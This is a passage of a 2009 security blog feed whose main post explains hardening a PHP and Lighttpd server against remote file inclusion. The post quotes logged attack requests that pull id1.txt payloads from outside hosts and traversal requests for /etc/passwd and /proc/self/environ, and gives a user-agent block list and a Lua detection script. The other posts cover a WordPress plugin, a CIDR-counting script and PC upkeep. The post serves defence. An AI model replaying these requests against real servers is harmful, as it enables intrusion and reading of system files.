		<comments>http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 18:52:10 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[daemon]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Httpd]]></category>
		<category><![CDATA[Lighttpd]]></category>
		<category><![CDATA[mod_security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[Server]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=809</guid>
		<description><![CDATA[Long time Nullamatix readers know how much I love reviewing log files. Logs can provide detailed incite into not only the overall health of a system, but information one can use to mitigate the risks of automated  attacks. In this post, I'll go over a couple ways to harden a PHP enabled web server [...]]]></description>
			<content:encoded><![CDATA[<p>Long time Nullamatix readers know how much I <a href="http://www.nullamatix.com/tail-f-lighttpd-logs-with-style-color-using-sed/">love reviewing log files</a>. Logs can provide detailed incite into not only the overall health of a system, but information one can use to mitigate the risks of automated  attacks. In this post, I'll go over a couple ways to harden a PHP enabled web server and hopefully prevent: <strong>fx29id1.txt, id23.txt, id.txt, id1.txt, fxid.txt, one.txt, fx1.txt</strong>, and several other automated attacks from successfully exploiting common weaknesses.<span id="more-809"></span></p>
<h3>php.ini</h3>
<p>Before we get into blocking specific attacks, let's take a look at [and fix] the php.ini file. Two very dangerous and usually unnecessary options are: <strong>allow_url_fopen</strong> and <strong>allow_url_include</strong>.</p>
<p><strong>allow_url_fopen from php.net:</strong></p>
<blockquote><p>This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files  using the ftp or http protocol, some extensions like zlib may register additional wrappers.</p></blockquote>
<p><strong>allow_url_include</strong></p>
<blockquote><p>This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once().</p></blockquote>
<p>Here are a couple 1 liners that will update the php.ini files and set those options to: <strong>Off</strong></p>
<pre class="brush:bash wrap-lines:false">
sed -i 's/allow_url_fopen = On/allow_url_fopen = Off;s/allow_url_include = On/allow_url_include = Off/' /etc/php5/cgi/php.ini
sed -i 's/allow_url_fopen = On/allow_url_fopen = Off;s/allow_url_include = On/allow_url_include = Off/' /etc/php5/cli/php.ini
</pre>
<p>To commit the changes, restart your http daemon. </p>
<h3>User-Agent Filtering</h3>
<p>An additional step worth implementing to prevent automated attacks from inexperienced script kiddies is user-agent filtering. This won't stop an experienced attacker since the user-agent string is easily forged, but is definitely worth implementing, anyway.</p>
<p>User-agents to consider blocking:</p>
<ul>
<li>VB Project</li>
<li>Twiceler-0.9</li>
<li>Wordpress/2.7</li>
<li>libwww-perl</li>
<li>curl &#038; CURL</li>
<li>Python-urllib</li>
<li>wget</li>
<li>MofeusFuckingScanner</li>
<li>Java/1.6</li>
<li>Java/1.6.0_13</li>
<li>MJ12bot</li>
<li>WebDataCentreBot</li>
<li>BDFetch</li>
</ul>
<p>There are probably many others, but these are the agents I've found that 9 times out of 10 are up to no good. Here's how to implement user-agent blocking in Lighttpd. There are also ways to implement this same functionality with Apache/htaccess. </p>
<pre class="brush:bash">
$HTTP["useragent"] =~ "VB Project|libwww-perl|curl" {
	url.access-deny = ( "" )
}
</pre>
<p><em>Note:</em> A great way to maintain access control lists in Lighttpd is to create a new file and just "include" it into your config. This keeps your primary Lighttpd config neat and organized.</p>
<h3>Attack Detection</h3>
<p>Now for the good stuff, log file analysis. Here are some of the attacks I mentioned in the title, condensed to show only 1 attack per IP rather than the half a dozen or more they really attempted:</p>
<pre class="brush:bash wrap-lines:false">
209.92.156.53 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://hasslefreetours.co.za/wp-content/uploads/2008/01/idxx.txt?? HTTP/1.1"
205.234.184.42 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://stelsis.ru/clx/id3.txt?? HTTP/1.1"
125.245.165.135 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://couplehome.com/bbs/skin/ggerzer_diary/images/id1.txt??? HTTP/1.1"
64.22.119.110 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://kelapa.fileave.com/a.txt??? HTTP/1.1"
209.97.212.185 "GET ///calendar/?cfg[rootPath]=http://europraca.org/ariadna/xmlrpc/id1.txt?? HTTP/1.1"
190.97.219.4 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://creative-alchemy.com/zencart//media/id1.txt??? HTTP/1.1"
170.210.192.78 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://www.onclick-online.de/luchterhand/id1.txt?? HTTP/1.1"
200.31.105.19 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://www.onclick-online.de/luchterhand/id1.txt?? HTTP/1.1"
210.245.87.237 "GET /skins/advanced/advanced1.php?pluginpath[0]=http://rezosenzo.free.fr/phpRaid/id.txt?? HTTP/1.1"
64.22.119.110 "GET //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://kelapa.fileave.com/a.txt??? HTTP/1.1"
200.58.71.90 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://www.hyonsvc.co.kr//bbs//skin/ggambo7002_board/s.txt? HTTP/1.1"
209.97.212.185 "GET //calendar/?cfg[rootPath]=http://d10770259.serv126.ixwebhosting.com//blocks/id1.txt?? HTTP/1.1"
174.143.159.60 "GET //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://200.209.69.194/bot/fx29id.txt?? HTTP/1.1"
79.64.223.41 "GET /?_SERVERDOCUMENT_ROOT=http://www.ewelder.co.kr/bbs//upload/id1.txt?? HTTP/1.1"
74.63.9.116 "GET //app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=http://www.computerpointonline.it/pub/eq1.txt?&#038;mode=id HTTP/1.1"
190.97.219.4 "GET //snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt?? HTTP/1.1"
211.234.106.119 "GET //snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt??? HTTP/1.1"
190.97.219.4 "GET //snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt?? HTTP/1.1"
211.234.106.119 "GET /trackback//snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt??? HTTP/1.1"
74.63.9.116 "GET //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.computerpointonline.it/pub/eq1.txt?&#038;mode=id HTTP/1.1"
117.74.98.18 "GET ///assets/snippets/reflect/snippet.reflect.php?reflect_base=http://kontolku.150m.com/fx1.txt??? HTTP/1.1"
69.175.2.194 "GET //assets/snippets/reflect/snippet.reflect.php?reflect_base=http://f1gossip.org/temp/fx29id.txt?? HTTP/1.1"
193.0.88.1 "GET //?_SERVER[DOCUMENT_ROOT]=http://www.seorakhoney.com/shop/mail/one.txt??? HTTP/1.1"
64.33.77.13 "GET /?_SERVER%5BDOCUMENT_ROOT%5D=http://www.seorakhoney.com/shop/mail/one.txt??? HTTP/1.0"
78.110.50.121 "GET /newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://host.yfes.tyc.edu.tw/xoop2018/uploads/tadgallery/small/2009_01_06/id1.txt? HTTP/1.1"
217.6.171.44 "GET /errors.php?error=http://www.freewebtown.com/fucku10/fx29id1.txt?? HTTP/1.1"
110.45.145.165 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://n34.biz/.injek/id23.txt? HTTP/1.1"
217.6.171.44 "GET /errors.php?error=http://www.freewebtown.com/fucku10/fx29id1.txt?? HTTP/1.1"
110.45.145.165 "GET //assets/snippets/reflect/snippet.reflect.php?reflect_base=http://n34.biz/.injek/id23.txt? HTTP/1.1"
92.50.143.90 "GET /db_connect.php?baseDir/errors.php?error=http://www.ikant.co.kr///data/id.txt?? HTTP/1.1"
200.234.200.230 "GET ///vwar/backup/errors.php?error=http://www.computerpointonline.it/pub/eq1.txt?&#038;mode=id HTTP/1.1"
67.223.249.152 "GET /?_SERVERDOCUMENT_ROOT=http://www.ewelder.co.kr/bbs//upload/id1.txt??%20HTTP/1.1 HTTP/1.0"
66.249.65.200 "GET /?_SERVERDOCUMENT_ROOT=http://www.ewelder.co.kr/bbs//upload/id1.txt??%20HTTP/1.1 HTTP/1.1"
124.0.102.66 "GET /?path=http://n34.biz/id1.txt? HTTP/1.1"
</pre>
<p>To see the full list, check out <a href="https://www.nullamatix.com/files/rfi-attacks.txt">this txt file</a>.</p>
<p>To find these lamers, I used the following:</p>
<pre class="brush:bash wrap-lines:false">
[nullamatix]:# cd /var/log/lighttpd
[nullamatix]:# grep -h '\/Dec\/2009:' *.log \
| egrep -v '\/robots\.txt|\/pubkey\.txt' \
| egrep -c '"GET .*=http:\/\/.* H|\.\.\/\.\.\/|\.txt.* H' \
| awk '{print $1" "$6" "$7" "$8}'
</pre>
<p>Can also try:</p>
<pre class="brush:bash">
[nullamatix]:# grep -hr '\.\.\/\.\.\/' *.log \
| sed 's/ - \[.*"GET / "/' | awk '{print $1" - "$2" - "$3}'
</pre>
<p>This should output something similar to the following:</p>
<pre class="brush:bash wrap-lines:false">
91.121.10.161 "//errors.php?error=../../../../../../../../../../../../../proc/self/environ%00
209.151.162.176 "//advanced1.php?pluginpath[0]=./../../../../../../../../etc/passwd
209.151.162.176 "/arcade1.php?phpbb_root_path=./../../../../../../../../etc/passwd%00
200.219.195.66 "/errors.php?error=./../../../../../../../../etc/passwd
68.166.79.199 "//admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
190.97.219.4 "//catalogue.php?cat=../../../../../../../../../../../../../etc/passwd%00
77.92.91.3 "/ashop/catalogue.php?cat=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
</pre>
<h3>Lighttpd mod_security</h3>
<p>Ok, mod_security isn't entirely true, but an lua script for mod_magnet is. The following will explain how to setup and maintain an intrusion detection/prevention system (IDS/IPS) for all your Lighttpd sites. The first step is to create the lua script, which I'll call <em>mod_security.lua</em>. Please be aware these instructions do not take chroot setups into consideration. If you're clever enough to deploy a chrooted instance of Lighttpd, you're probably clever enough to figure out how to make this work. </p>
<pre class="brush:bash">
[nullamatix]:# touch /etc/lighttpd/mod_security.lua
[nullamatix]:# chown www-data:www-data /etc/lighttpd/mod_security.lua
[nullamatix]:# chmod 0600 /etc/lighttpd/mod_security.lua
[nullamatix]:# vim /etc/lighttpd/mod_security.lua
</pre>
<p>Once mod_security.lua is open, copy/paste:</p>
<pre class="brush:bash wrap-lines:false">
LOG = true
DROP = true
function retErr(e)
	if (lighty.env["request.remote-ip"]) then
		remoteip = lighty.env["request.remote-ip"]
	else
		remoteip = "UNKNOWN_IP"
	end
	if (LOG == true) then
		print (remoteip .. " BLOCKED - " .. e .. " - " .. lighty.request["Host"] .. "" .. lighty.env["request.uri"])
	end
	if (DROP == true) then
		return 405
	end
end
function BadURL(c)
	-- convert urls to all lowercase
	d = string.lower(c)
	if (string.find(d, "fx29id1.txt")) then
		return retErr('Threat: fx29id1.txt')
	elseif (string.find(d, "id23.txt")) then
		return retErr('Threat: id23.txt')
	elseif (string.find(d, "id.txt")) then
		return retErr('Threat: id.txt')
	elseif (string.find(d, "id1.txt")) then
		return retErr('Threat: id1.txt')
	elseif (string.find(d, "fxid.txt")) then
		return retErr('Threat: fxid.txt')
	elseif (string.find(c, "serveqdocument_root")) then
		return retErr('Bad URL')
	-- make sure all your patters are lowercase!
	elseif (string.find(c, "server[document_root]")) then
		return retErr('Bad URL')
	end
end
if (BadURL(lighty.env["request.uri"]) == 405) then
	ret = 405
end
return ret
</pre>
<p>If any lua gurus out there know of a <strike>less bloated</strike> better way to handle the string checks (if/elseif is <em>not</em> suckless), <strong>please</strong> post a comment or send me an email with your suggestion(s). An array type implementation might help with maintaining the BadURL strings, but I'm no lua developer. Anyway, back to the post....</p>
<p>If not enabled already, enable mod_magnet.</p>
<pre class="brush:bash">
[nullamatix]:# lighty-enable-mod magnet
</pre>
<p>Or just add to "server.modules" in lighttpd.conf. Before restarting Lighttpd, mod_magnet has to know about mod_security.lua. To make sure all configured sites are protected by mod_security.lua, do not include this line in a HOST or SOCKET setting. Immediately after the sever.modules definition seems to work. For example (lighttpd.conf):</p>
<pre class="brush:plain wrap-lines:false">
server.modules = ("mod_auth", "mod_evasive", "mod_magnet")
magnet.attract-physical-path-to = ("/etc/lighttpd/mod_security.lua")
</pre>
<p>Finally, restart Lighttpd and check the "server.errorlog" file (ie: /var/log/lighttpd/errors.log) to make sure Lighttpd restarted successfully. If mod_magnet failed to load or was unable to find mod_security.lua, your server will not restart. To make sure mod_security.lua is working correctly, <em>tail -f /var/log/lighttpd/errors.log</em>, try appending one of the BadURL strings to your domain, then hit it with Firefox. </p>
<p>For example:<br />
www.Domain-X.com/wp-login.php?p=http://r00ted.biz/id1.txt?</p>
<p>If id1.txt is one of the strings defined in mod_security.lua, <strong>405 - Method Not Allowed</strong> should appear in Firefox, and the errors.log should have an entry for the dropped request. </p>
<pre class="brush:bash">
2009-12-10 11:48:14: (mod_magnet) (lua-print) 172.16.20.8 BLOCKED - Threat: id1.txt - www.Domain-X.com/wp-login.php?p=http://r00ted.biz/id1.txt?
</pre>
<p>If so, congratulations! You've taken a few small steps that should drastically improve the security of your server. </p>
<h3>Conclusion</h3>
<p>Realistically, this post is only the tip of the iceberg for proactive http server risk reduction. A reactive approach is better than an inactive approach, so take the time to study and review logs. If there's anything you'd like to add or just ask about, submit a comment below or <a href="mailto:security at nullamatix com">email me</a>. </p>
<h3>See Also:</h3><ul class="related_post"><li>04/11/2010 -- <a href="http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/" title="Howto: XCache in a Lighttpd Chroot on Debian">Howto: XCache in a Lighttpd Chroot on Debian</a><br /><strong>Excerpt</strong>: "Whether you're pressed for resources on a virtual/dedicated server, or simply looking for ways to improve web application performance, XCache is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, ..."<br /></li><li>12/25/2009 -- <a href="http://www.nullamatix.com/new-tool-daily-mod-security-reports/" title="New Tool: Daily [Mod] Security Reports">New Tool: Daily [Mod] Security Reports</a><br /><strong>Excerpt</strong>: "After the Lighttpd mod security post and the DDoS attack that followed, I began working on a script that parses the Lighttpd server-error.log and inserts matched records into MySQL. The result? Check it out here: security.nullamatix.com Daily Security ..."<br /></li><li>12/12/2007 -- <a href="http://www.nullamatix.com/nullamatixcom-survived-the-digg-effect-barely/" title="Nullamatix.com Survived The Digg Effect, Barely">Nullamatix.com Survived The Digg Effect, Barely</a><br /><strong>Excerpt</strong>: "Wow, what an interesting day. After experiencing The Digg Effect first hand, and looking over a few stats, I've made the conclusion that Digg users are comparable to a swarm of crack heads surfing the Internet. Don't get me wrong, landing on the front page of ..."<br /></li><li>01/10/2010 -- <a href="http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/" title="Solution: chown: invalid user: www-data:www-data">Solution: chown: invalid user: www-data:www-data</a><br /><strong>Excerpt</strong>: "Ran into this issue after getting rid of the www-data user and group. The solution is simple and doesn't involve adding the account/group, assuming the objective is to run Lighttpd as a different user (not www-data). If the intention is to run Lighttpd with ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New Wordpress Plugin: IP Intelligence</title>
		<link>http://www.nullamatix.com/wordpress-ip-intelligence/</link>
		<comments>http://www.nullamatix.com/wordpress-ip-intelligence/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 03:31:23 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=704</guid>
		<description><![CDATA[Description
IP Intelligence the ability to retrieve information about a commentators IP address without leaving the "edit-comments.php" page. Version 0.0.1 is capable of retrieving the following information:

Reverse DNS/PTR
Long/Proper IPv4 Format
Country of Origin
Region or State
City
Timezone
StopForumSpam.com Data
Whois Information

IP Intelligence also provides targeted/dynamic links to the following destinations for further research:

Google Search Query
Google Groups Search Query
Project HoneyPot
Spamhaus
OpenRBL
Robtex (Lucky)

Tested and [...]]]></description>
			<content:encoded><![CDATA[<h3>Description</h3>
<p>IP Intelligence the ability to retrieve information about a commentators IP address without leaving the "edit-comments.php" page. Version 0.0.1 is capable of retrieving the following information:<span id="more-704"></span></p>
<ul>
<li>Reverse DNS/PTR</li>
<li>Long/Proper IPv4 Format</li>
<li>Country of Origin</li>
<li>Region or State</li>
<li>City</li>
<li>Timezone</li>
<li>StopForumSpam.com Data</li>
<li>Whois Information</li>
</ul>
<p>IP Intelligence also provides targeted/dynamic links to the following destinations for further research:</p>
<ul>
<li>Google Search Query</li>
<li>Google Groups Search Query</li>
<li>Project HoneyPot</li>
<li>Spamhaus</li>
<li>OpenRBL</li>
<li>Robtex (Lucky)</li>
</ul>
<p>Tested and working with Firefox/Iceweasel 3.0.6+. IE6 Has some rendering issues in the popup window (admin menus aren't hidden). Not tested in Safari, Opera, or IE7+.</p>
<h3>Wordpress.org</h3>
<ul>
<li>http://wordpress.org/extend/plugins/ip-intelligence/</li>
</ul>
<h3>Installation</h3>
<ol>
<li>Upload the "ipintel" folder to the `/wp-content/plugins/` directory.</li>
<li>Activate the plugin through the 'Plugins' menu in Wordpress.</li>
<li>Visit the "edit-comments.php" page from the Wordpress admin menu and look for the "IP Intel" links.</li>
<li>note: Also works with page=akismet-admin</li>
</ol>
<h3>Screenshots</h3>
<ul>
<li><a rel="lightbox" href="http://static.nullamatix.com/images/ip_intel-ss01.png"><img class="alignnone" src="http://static.nullamatix.com/images/ip_intel-ss01.png" alt="ip intel ss01" width="500" height="336" /></a></li>
<li><a rel="lightbox" href="http://static.nullamatix.com/images/ip_intel-ss02.png"><img class="alignnone" src="http://static.nullamatix.com/images/ip_intel-ss01.png" alt="ip intel ss01" width="500" height="336" /></a></li>
</ul>
<h3>Download</h3>
<ul>
<li><a href="http://wordpress.org/extend/plugins/ip-intelligence/">WordPress.org Plugins Page </a></li>
<li><a href="/content/plugins/ipintel/readme.txt">readme.txt</a></li>
</ul>
<h3>License</h3>
<blockquote>
<pre>Copyright 2009 Guy Patterson (email : 'ipintel at nullamatix')

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA</pre>
</blockquote>
<h3>See Also:</h3><ul class="related_post"><li>12/26/2009 -- <a href="http://www.nullamatix.com/wordpress-hacks-worth-implementing/" title="WordPress Hacks Worth Implementing">WordPress Hacks Worth Implementing</a><br /><strong>Excerpt</strong>: "Combat Comment Spam
Most spammers aren't clever enough to populate the REFERER header. This code snippet is not only extremely easy to implement, but pretty effective, too. Open up your themes functions.php and drop in the following:

function ..."<br /></li><li>03/08/2008 -- <a href="http://www.nullamatix.com/automated-adsense-privacy-policy-deployment-guide/" title="Automated Adsense Privacy Policy Deployment Guide">Automated Adsense Privacy Policy Deployment Guide</a><br /><strong>Excerpt</strong>: "Hopefully you took the time to actually read the new Adsense Terms and Conditions. The new terms require all Adsense publishers to display a privacy policy on any web-site displaying Adsense ads.

Here's an excerpt from this page:
We've also added some ..."<br /></li><li>01/30/2008 -- <a href="http://www.nullamatix.com/2-more-wordpress-plugin-exploits-adserve-wassup/" title="2 More Wordpress Plugin Exploits &#8211; Adserve &#038; WassUp">2 More Wordpress Plugin Exploits &#8211; Adserve &#038; WassUp</a><br /><strong>Excerpt</strong>: "Wow, four Wordpress plugin exploits released in under a week. Are these plugin authors really amateurs, or just trying to pwn Wordpress blogs?

First up, Adserve version 0.2. The SQL injection vulnerability resides in  adclick.php. Here's the vulnerable ..."<br /></li><li>01/28/2008 -- <a href="http://www.nullamatix.com/2-new-wordpress-plugin-sql-injection-vulnerabilities/" title="2 New Wordpress Plugin SQL Injection Vulnerabilities">2 New Wordpress Plugin SQL Injection Vulnerabilities</a><br /><strong>Excerpt</strong>: "That's right Wordpresss kiddies, two new vulnerabilities, and they're pretty nasty. Author Houssamix From H-T Team has released two remote SQL injection proof of concepts for WP-Cal and fGallery 2.4.1.

The vulnerability for WP-Cal exists ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/wordpress-ip-intelligence/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Count the Total Number of IPs From CIDR</title>
		<link>http://www.nullamatix.com/count-total-number-of-ips-from-cidr-notation/</link>
		<comments>http://www.nullamatix.com/count-total-number-of-ips-from-cidr-notation/#comments</comments>
		<pubDate>Sun, 22 Nov 2009 04:50:40 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cidr]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=700</guid>
		<description><![CDATA[After adding a few IPs to a firewall drop list, I wondered, "exactly how many IPs are in this drop list?" Since the list contained 187 entries, all in CIDR notation, adding up the total number of IPs in my head was impossible. So, I put together this little script and figured someone else out [...]]]></description>
			<content:encoded><![CDATA[<p>After adding a few IPs to a firewall drop list, I wondered, "exactly how many IPs are in this drop list?" Since the list contained 187 entries, all in CIDR notation, adding up the total number of IPs in my head was impossible. So, I put together this little script and figured someone else out there might also benefit.<span id="more-700"></span></p>
<h3>Requirements</h3>
<p>The script requires awk, iptables, and <a href="http://www.laffeycomputer.com/whatmask.html">whatmask</a> in order to run successfully. The script also assumes all IPs are in CIDR notation; single IPs throw an error, <em>"whatmask: "97.53.154.29" is not a valid subnet mask or wildcard bit mask!</em></p>
<h3>The Script</h3>
<pre class="brush:bash">
[nullamatix ~/ipcount]:# cat /usr/bin/ipcount
#!/bin/sh
echo 'Building droplist.txt'
iptables -L INPUT -n | \
grep DROP | awk '{print $4}' | \
sed 's/^DROP.*$//' | grep -v '0.0.0.0' \
> ~/ipcount/droplist.txt

echo 'Reading droplist.txt'
cat ~/ipcount/droplist.txt |while true
do read LINE || break
whatmask $LINE | grep 'Usable IP Addresses' | \
awk '{print $6}' | sed -e 's/,//g' >> ~/ipcount/cidr-totals.txt
done

echo 'Adding cidr-totals.txt'
awk '{total+=$0} END {print total}' ~/ipcount/cidr-totals.txt
echo 'Done.'
[nullamatix ~/ipcount]:#</pre>
<h3>Installation</h3>
<p>Setup is easy and just like any other script...</p>
<pre class="brush:bash">
[nullamatix ~]:# mkdir ipcount
[nullamatix ~]:# vim /usr/bin/ipcount

(copy &#038; paste the script above)

[nullamatix ~]:# chmod +x /usr/bin/ipcount
[nullamatix ~]:# which ipcount
/usr/bin/ipcount
[nullamatix ~]:#</pre>
<p>At the time of writing, nullamatix.com is blocking a grand total of 318,516,468 IPs. That's roughly 7% of the available IPv4 address space. How many IPs are you blocking? </p>
<h3>See Also:</h3><ul class="related_post"><li>01/17/2010 -- <a href="http://www.nullamatix.com/new-tool-ip-range-to-cidr/" title="New Tool: IP Range to CIDR">New Tool: IP Range to CIDR</a><br /><strong>Excerpt</strong>: "At least twice a week I find myself visiting ip2cidr.com, the IP to CIDR converter. Since the owner/author of the site hasn't release the source code, and I love a challenge, I developed my own version. The guys at the job find the tool useful, and after a ..."<br /></li><li>10/23/2009 -- <a href="http://www.nullamatix.com/diy-free-home-surveillance-system-vlc/" title="DIY: Home Surveillance System with VLC">DIY: Home Surveillance System with VLC</a><br /><strong>Excerpt</strong>: "The current state of the global economy has shot the U.S. unemployment rate up - waay up. As a result, more people are willing to commit crimes in order to provide for themselves or their family. Just this year, two houses that share the street I live on were ..."<br /></li><li>08/31/2009 -- <a href="http://www.nullamatix.com/howto-insert-bash-command-output-into-mysql/" title="Howto: Insert Bash Command Output Into MySQL">Howto: Insert Bash Command Output Into MySQL</a><br /><strong>Excerpt</strong>: "A BlogStorm reader emailed me today, 
Hello,

I am replying to your post on http://www.blogstorm.co.uk/how-to-scrape-pages-with-coldfusion/

Wanted to see your experience in page scraping, may need your help on a project. HOw much did you do beyond the ..."<br /></li><li>02/11/2008 -- <a href="http://www.nullamatix.com/howto-setup-cron-jobs-to-restart-lighttpd-mysql/" title="Howto: Setup cron Jobs to Restart Lighttpd &#038; MySQL">Howto: Setup cron Jobs to Restart Lighttpd &#038; MySQL</a><br /><strong>Excerpt</strong>: "Over the past couple weeks MySQL crashed when spiked with large amounts of traffic. To remedy this, a cron job has been implemented to simply restart mysql and lighttpd every other day. Here's how it's done.

First, if you haven't already, define a cron job ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/count-total-number-of-ips-from-cidr-notation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guest Submission: PC Maintenance</title>
		<link>http://www.nullamatix.com/pc-maintenance-tips-from-computertooslow/</link>
		<comments>http://www.nullamatix.com/pc-maintenance-tips-from-computertooslow/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 05:26:09 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[desktop]]></category>
		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=696</guid>
		<description><![CDATA[Just as the human body requires daily cleanup and factory machines demand turnaround maintenance, your personal computer requires regular cleanup. This simple maintenance does not cost a buck. Failure to carry out regular maintenance would slow down system speed with the passage of time. It can also make certain keys on your keyboard not work. [...]]]></description>
			<content:encoded><![CDATA[<p>Just as the human body requires daily cleanup and factory machines demand turnaround maintenance, your personal computer requires regular cleanup. This simple maintenance does not cost a buck. Failure to carry out regular maintenance would slow down system speed with the passage of time. It can also make certain keys on your keyboard not work. Dust could also block the air vent and increase battery power use and increase core temperatures. <span id="more-696"></span></p>
<h3>Simple Hardware Maintenance</h3>
<p>Get a soft paintbrush and an air duster (can of compressed air). Turn your keyboard upside down and move the brush along the space between the keys in a sort of forward and backward motion. This action does not need to be done with much force. You can then use the air duster to get anything you may have missed.</p>
<p>Blowing the dust off from the machine with good enough air pressure is also a wise thing to do.  Make sure you get the fans really well.  If you are up to it, you can open up the machine and use the air duster to clean the computer case.  Make sure to get the CPU and video card fans.  If you do this, make sure to unplug the computer before opening the case.</p>
<h3>Software Maintenance</h3>
<p><strong>Use Desktop Cleanup</strong></p>
<p>The desktop cleanup utility is a feature available in Windows that lets you optimize your computer. It cleans up hibernation files, which are stored on the computer each time you hibernate. For example, if your computer has been in hibernation three times, you probably have 2 or 3GB of hibernated files to delete to free up memory space.</p>
<p>Other files such as temporary Internet files, thumbnails, and offline web messages are removed in the process to save up space as well. Remember, the goal here is to delete files that are not useful anymore to save space for the computer.  To carry out this operation, from the start menu, click computer->right-click and follow the drop down window to property-> Performance-> Open Desktop Cleanup. Follow the instructions to save up space.</p>
<p><strong>Disk Defragmenter</strong></p>
<p>Data is stored on the hard drive. As you use your computer, this data is not stored in the most efficient way. The defragmenter simply arranges and solidifies the files on the hard drive which makes data access quicker. To get to from the start menu click on computer->right-click and follow the drop down window to property-> Performance-> Open disk defragmenter. Defragmenting a disk might take an hour or two, give and take, depending on the size of the disk.</p>
<p><em>Dominic, the author of this post, maintains ComputerTooSlow.com; a site dedicated to helping end users overcome any PC related obstacles. For more PC Maintenance tips as simple and effective as these, check out Dominic's site at <a href="http://www.computertooslow.com" title="Computer Too Slow">Computer Too Slow</a>.</em></p>
<h3>See Also:</h3><ul class="related_post"><li>02/15/2008 -- <a href="http://www.nullamatix.com/picture-the-importance-of-a-good-firewall/" title="Picture: The Importance of a Good Firewall">Picture: The Importance of a Good Firewall</a><br /><strong>Excerpt</strong>: "This is what happened when I took down my network's defenses the other day. Fortunately my Windows machines were patched, or I might have been hit with a nasty remote exploit, or eighty. Click the thumbnail for the larger version.

Those are all incoming ..."<br /></li><li>11/30/2007 -- <a href="http://www.nullamatix.com/windows-xp-sp3-service-pack-3-improves-performance/" title="Windows XP SP3 (Service Pack 3) Improves Performance">Windows XP SP3 (Service Pack 3) Improves Performance</a><br /><strong>Excerpt</strong>: "Several sites reported noticeable performance increases after installing XP SP3, but there's only one way to really find out; test the service pack yourself. A side by side comparison of two Dell Latitude D820 notebooks, one with SP2 and one with SP3 (beta), ..."<br /></li><li>11/27/2007 -- <a href="http://www.nullamatix.com/dell-diagnostic-beep-code-troublshooting-chart/" title="Dell Diagnostic Beep Code Troubleshooting Chart">Dell Diagnostic Beep Code Troubleshooting Chart</a><br /><strong>Excerpt</strong>: "Those beeps your computer emits at startup, yea, they mean something. If you're having difficulty figuring out why your Dell desktop, tower, or mini tower won't boot, take a look at this chart. Dell also has a diagnostics utility and can provide excellent ..."<br /></li><li>11/13/2007 -- <a href="http://www.nullamatix.com/if-you-work-in-it-please-write-clear-objective-information/" title="If You Work in IT, Please Write Clear, Objective Information">If You Work in IT, Please Write Clear, Objective Information</a><br /><strong>Excerpt</strong>: "Google defines objective as:
